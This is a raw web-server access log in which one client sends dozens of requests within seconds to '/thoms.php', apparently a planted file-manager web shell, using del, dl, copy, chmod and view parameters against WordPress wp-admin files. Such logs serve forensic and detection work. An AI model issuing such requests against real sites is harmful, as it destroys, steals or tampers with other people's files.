45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?del=post-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28609 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-writing.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-writing.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?dl=options-privacy.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28588 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?chmod=widgets-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 200 15901 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?dl=widgets.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28607 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 200 13991 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?dl=options-media.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 200 11995 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 200 12152 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?del=about.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28609 "http://163.245.207.76:443/thoms.php?del=about.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?del=menu.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28609 "http://163.245.207.76:443/thoms.php?del=menu.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?del=customize.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?del=customize.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 200 18575 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?chmod=options-reading.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 200 21215 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 200 18784 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fprivacy.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fprivacy.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?del=edit-comments.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28610 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 200 17565 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?del=widgets.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28607 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 200 13457 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /bft.com.tw/wp-admin/load-scripts.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?del=contribute.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmedia-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmedia-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?chmod=edit-tags.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?chmod=my-sites.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /bft.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?chmod=comment.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?del=themes.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28610 "http://163.245.207.76:443/thoms.php?del=themes.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 200 14033 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?del=admin-post.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-themes.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-themes.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fplugins.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fplugins.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?del=plugin-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28605 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?chmod=images&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=images&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:01 -0400] "GET /thoms.php?del=update.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28610 "http://163.245.207.76:443/thoms.php?del=update.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?del=media-upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28585 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?dl=site-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 200 15222 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?del=edit-tag-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28607 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /bft.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?chmod=admin-footer.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-post.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-post.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?chmod=async-upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?dl=options-head.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28568 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 200 13038 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 200 15639 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:02 -0400] "GET /thoms.php?del=user-edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Findex.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Findex.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-options.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-options.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?dl=index.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?del=post.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28608 "http://163.245.207.76:443/thoms.php?del=post.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 200 14259 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 200 12002 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /bft.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /bft.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fpost.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fpost.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?chmod=update.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 200 17593 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?del=ms-admin.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28613 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?del=ms-delete-site.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28612 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?dl=post-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28612 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /bft.com.tw/wp-admin/index.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fsite-health.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fsite-health.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?dl=term.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28607 "http://163.245.207.76:443/thoms.php?dl=term.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 200 20104 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:04 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 200 16216 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
